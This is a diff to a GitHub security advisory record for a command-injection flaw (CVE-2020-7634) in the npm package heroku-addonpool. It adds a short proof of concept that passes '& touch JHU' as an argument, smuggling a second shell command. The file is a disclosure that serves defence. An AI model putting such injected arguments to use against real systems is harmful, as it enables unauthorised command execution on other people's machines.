Publish GHSA-3q9x-w53p-jg53

advisories/github-reviewed/2021/12/GHSA-3q9x-w53p-jg53/GHSA-3q9x-w53p-jg53.json

@@ -1,13 +1,13 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-3q9x-w53p-jg53",
-  "modified": "2021-07-28T22:58:36Z",
+  "modified": "2023-09-13T21:57:41Z",
   "published": "2021-12-09T19:52:03Z",
   "aliases": [
     "CVE-2020-7634"
   ],
   "summary": "OS Command Injection in heroku-addonpool",
-  "details": "heroku-addonpool through 0.1.15 is vulnerable to Command Injection.",
+  "details": "heroku-addonpool through 0.1.15 is vulnerable to Command Injection. The second parameter of the exported function `HerokuAddonPool(id, app, opt)` can be controlled by users without any sanitization.\n\n**PoC**\n```js\nvar Root = require(\"heroku-addonpool\");\nvar root = Root(\"sss\", \"& touch JHU\", {});\nroot.setup();\n```",
   "severity": [
     {
       "type": "CVSS_V3",
@@ -20,6 +20,11 @@
         "ecosystem": "npm",
         "name": "heroku-addonpool"
       },
+      "ecosystem_specific": {
+        "affected_functions": [
+          ""
+        ]
+      },
       "ranges": [
         {
           "type": "ECOSYSTEM",
@@ -40,6 +45,10 @@
       "type": "ADVISORY",
       "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7634"
     },
+    {
+      "type": "WEB",
+      "url": "https://github.com/nodef/heroku-addonpool/commit/b1a5b316473ac92d783f3d54ee048d54082da38d"
+    },
     {
       "type": "WEB",
       "url": "https://github.com/nodef/heroku-addonpool/blob/master/index.js"